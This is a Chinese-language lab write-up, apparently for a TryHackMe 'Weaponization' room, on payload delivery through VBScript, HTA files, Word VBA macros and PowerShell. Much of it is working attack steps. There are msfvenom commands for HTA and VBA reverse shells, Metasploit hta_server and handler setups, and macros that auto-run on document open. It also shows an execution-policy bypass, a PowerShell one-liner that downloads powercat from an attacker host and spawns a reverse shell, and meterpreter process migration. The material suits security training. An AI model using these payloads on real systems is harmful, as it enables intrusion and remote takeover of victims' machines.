文章目录
一、Windows Script Host
1.1 WSH介绍
Windows Script Host
(WSH
)是一个内置的Windows
工具,用于运行脚本文件以自动化和管理操作系统内的任务。它可以通过简单的脚本文件(如VBScript
或JScript
)来执行复杂的任务,比如文件操作、系统配置、用户交互等。
WSH
的两个主要组件
cscript.exe
:
用途:用于在命令行环境中运行脚本。
特点:适合在没有图形界面的环境下运行,例如服务器环境或自动化脚本任务。wscript.exe
:
用途:用于在图形用户界面(UI)环境中运行脚本。
特点:适合需要用户交互的场景,比如弹出消息框、显示对话框等。
WSH
支持多种脚本语言,但最常用的是VBScript
(Visual Basic Script
)。其中:
.vbs
:VBScript文件。.vbe
:加密的VBScript文件。
关于权限问题:VBScript
引擎在Windows操作系统上以普通用户的权限级别运行和执行应用程序。由于VBScript
可以直接与系统交互,且不需要管理员权限,因此它是一种常见的攻击手段。
示例代码:
# 声明变量
Dim message
# 变量赋值
message = "Welcome to THM"
# 输出变量
MsgBox message
将上述代码保存为.vbs
文件;双击该文件运行,或者在命令行中使用wscript.exe
或cscript.exe
运行它。
1.2 使用WSH执行exe文件
Set shell = WScript.CreateObject("Wscript.Shell")
# WScript.CreateObject:创建一个指定的COM对象;
# "Wscript.Shell":Windows提供的一个COM对象,用于与Windows Shell进行交互。
## 通过这个对象,可以执行系统命令、操作文件和文件夹等。
# Set shell = ...:将创建的对象赋值给变量shell
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName), 0, True
# shell.Run:Wscript.Shell对象的一个方法,用于运行指定的程序或命令。
## "C:\Windows\System32\calc.exe ":exe文件路径
## WScript.ScriptFullName:VBScript内置属性,返回当前脚本文件的完整路径。
# 0:表示运行程序时的窗口状态。0表示隐藏窗口运行。
# True:表示等待程序执行完成后才继续执行脚本。
如果不允许执行.vbs
文件,可以使用下面命令执行.txt
后缀的vbs代码:
wscript /e:VBScript cal.txt
二、HTML Application
2.1 HTA简介
HTML Application
(HTA)本质上是一个动态HTML页面,可以包含JScript和VBScript代码。HTA文件可以像普通的HTML文件一样被浏览器解析,但它具有更高的权限,可以执行系统级的操作。HTA文件通常以.hta
为扩展名。例如:
<html>
<body>
<script>
var c = 'cmd.exe';
new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>
var c = 'cmd.exe'
:定义一个变量c,其值为cmd.exe,表示要执行的命令。new ActiveXObject('WScript.Shell').Run(c)
:ActiveXObject('WScript.Shell')
:创建一个WScript.Shell对象,这是一个COM对象,用于与Windows Shell进行交互。.Run(c)
:调用Run方法执行变量c中的命令,即cmd.exe。
将上述代码保存为cmd.hta
,双击该文件,或者在浏览器(IE可以,火狐似乎不可以)中运行:
mshta cmd.hta
mshta
路径:C:\Windows\System32\mshta.exe
2.2 HTA反向连接
使用msfvenom
生成在windows下运行的hta反向shell:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.92.10 LPORT=443 -f hta-psh -o thm.hta
服务端监听443端口:
nc -lvp 443
# -l:listen,监听
# -v:verbose,会显示更多的执行过程信息
# -p:port,监听的端口
一旦受害机,运行了exe文件,就会反弹shell。
2.3 Malicious HTA via Metasploit
msfconsole
use exploit/windows/misc/hta_server
set LHOST 192.168.92.10
set LPORT 443
set SRVHOST 192.168.92.10
set payload windows/meterpreter/reverse_tcp
run
需要受害者访问http://192.168.92.10:8080/n7SZ6xk7aYujPVi.hta
,并运行hta文件。
三、Visual Basic for Applications
3.1 VBA简介
VBA
是一种编程语言,由微软开发,用于在其应用程序(如 Word、Excel、PowerPoint 等)中实现自动化任务。
宏是包含VBA代码的Microsoft Office应用程序。它本质上是一个脚本,用于执行一系列预定义的操作。
安全风险:由于VBA和宏可以访问底层系统功能,攻击者可能会利用它们来创建恶意文档。这些文档可能包含恶意代码,当用户打开文档并启用宏时,恶意代码就会执行。
以下代码是一个简单的VBA(Visual Basic for Applications)
宏,它的作用是弹出一个消息框,显示一条欢迎信息。
Sub THM()
# Sub:定义函数的关键字,格式:Sub <函数名>(<传参>)
MsgBox ("Welcome to Weaponization Room!")
# MsgBox:显示消息框的函数
End Sub
# End Sub:结束函数的关键字
在视图->宏
中,命名Macro name
,再create
即可。
输入上述代码后,按F5
即可运行。
以下代码是VBA(Visual Basic for Applications)
代码,用于在Microsoft Word文档打开时自动执行某些操作。
# Document_Open():特殊的VBA事件处理程序,用于在文档被打开时自动执行代码。
## 当用户打开包含此宏的Word文档时,Document_Open事件会被触发。
Sub Document_Open()
# 调用子程序THM
THM
End Sub
# AutoOpen():特殊的VBA事件处理程序,用于在文档被打开时自动执行代码。
# 使用该函数是为了兼容早期的word版本
Sub AutoOpen()
THM
End Sub
Sub THM()
MsgBox ("Welcome to Weaponization Room!")
End Sub
将上述VBA代码保存后,保存word文件,文件类型为Word 97-2003 Document
.
关闭word后,打开刚刚保存的thm.doc
文件,将会自动触发。
# Document_Open():特殊的VBA事件处理程序,用于在文档被打开时自动执行代码。
## 当用户打开包含此宏的Word文档时,Document_Open事件会被触发。
Sub Document_Open()
# 调用子程序THM
THM
End Sub
# AutoOpen():特殊的VBA事件处理程序,用于在文档被打开时自动执行代码。
# 使用该函数是为了兼容早期的word版本
Sub AutoOpen()
THM
End Sub
Sub THM()
# Dim:声明一个变量。
# payload:变量的名称,这里用来存储要运行的程序路径或命令。
# As String:指定变量的类型为字符串。
Dim payload As String
payload = "calc.exe"
# CreateObject:VBA创建一个COM对象的函数
# .Run <para 1>,<para 2>:调用Wscript.Shell对象的Run方法
# 0:程序在后台运行,不会显示窗口
CreateObject("Wscript.Shell").Run payload,0
End Sub
重新打开就会弹计算器。
3.2 VBA反弹shell
# 生成反弹shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.10 LPORT=443 -f vba
## 正常输出只能在excel中运行,需要将Workbook_Open()改为Document_Open()
## 这里输出的只是VBA脚本,需要将其写入word的宏中
# -q:隐藏启动时的欢迎信
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.92.10
set LPORT 443
run
四、Powershell
4.1 Powershell简介
PowerShell
是一种面向对象的编程语言,它在.NET
的动态语言运行时(DLR)中执行。
# Write-Output是PowerShell的一个内置命令(也称为 cmdlet),用于将对象发送到管道(pipeline)的下一个命令,或者直接输出到控制台。
# 在没有后续命令的情况下,Write-Output会将指定的内容输出到控制台。
Write-Output "Welcome to the Weaponization Room!"
将上述脚本保存为thm.ps1
,使用如下命令运行:
powershell -File thm.ps1
4.2 Powershell执行策略
PowerShell
的执行策略是一种安全机制,用于控制哪些PowerShell
脚本可以在系统上运行。默认情况下,Microsoft 禁用了 PowerShell 脚本的运行,默认的执行策略是Restricted
,该策略允许用户在PowerShell
控制台中逐条运行单个命令,但不允许运行任何脚本文件(.ps1
文件)。执行策略会报如下错误:
除了Restricted
执行策略外,还有其他执行策略:
AllSigned
:要求所有脚本和配置文件必须由受信任的发布者签名,如果脚本没有签名或签名不可信,则无法运行,RemoteSigned
:允许运行本地创建的脚本,但远程下载的脚本必须由受信任的发布者签名。Unrestricted
:允许运行所有脚本,无论是否签名。
解决方法:
# 查看当前执行策略
Get-ExecutionPolicy
# 更改执行策略
## Set-ExecutionPolicy:更改PowerShell的执行策略;
## -Scope CurrentUser:指定更改的范围是当前用户;
## RemoteSigned:允许运行本地创建的脚本,但远程下载的脚本必须由受信任的发布者签名。
Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
也可以使用下面方法绕过执行策略:
# -ex bypass:绕过PowerShell的执行策略限制并运行脚本
powershell -ex bypass -File thm.ps1
4.3 Powershell版反弹shell
下载powershell版的反弹shell:
git clone https://github.com/besimorhino/powercat.git
在攻击机上开启HTTP服务:
cd powercat
python3 -m http.server 8080
攻击机使用nc
监听1337端口:
nc -lvp 1337
在受害机上执行下面的powershell脚本:
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.92.10:8080/powercat.ps1');powercat -c ATTACKBOX_IP -p 1337 -e cmd"
-
powershell -c
powershell
:启动PowerShell
环境。-c
:这是-Command
参数的简写形式,用于执行指定的命令。
-
IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACKBOX_IP:8080/powercat.ps1')
IEX
:这是Invoke-Expression
的简写形式,用于执行字符串中的PowerShell
命令。New-Object System.Net.WebClient
:创建一个System.Net.WebClient
对象,用于从网络下载文件。.DownloadString('http://192.168.92.10:8080/powercat.ps1')
:使用WebClient
对象从指定的URL下载文件。
-
powercat -c ATTACKBOX_IP -p 1337 -e cmd
powercat
:这是一个类似于nc(Netcat)
的工具,用于网络通信。它通常用于建立网络连接,传输数据等。-c 192.168.92.10
:指定连接的目标IP地址,这里是攻击者的服务器IP。-p 1337
:指定连接的目标端口,这里是 1337 端口。-e cmd
:指定在建立连接后执行的程序,这里是 Windows 的命令提示符(cmd)。
五、Practice
使用MSF创建一个HTA
链接:
msfconsole
use exploit/windows/misc/hta_server
set LHOST 10.6.37.112
set LPORT 443
set SRVHOST 10.6.37.112
set payload windows/meterpreter/reverse_tcp
run
访问靶机http://10.10.197.137:8080
,send
恶意的hta
连接即可(后端会自动运行)
为获得更加稳定的进程,使用下面命令将当前恶意进程注入到另一个正常进程中:
# 将 Meterpreter 会话从当前进程迁移到另一个进程
run post/windows/manage/migrate
# windows查看txt文件
type a.txt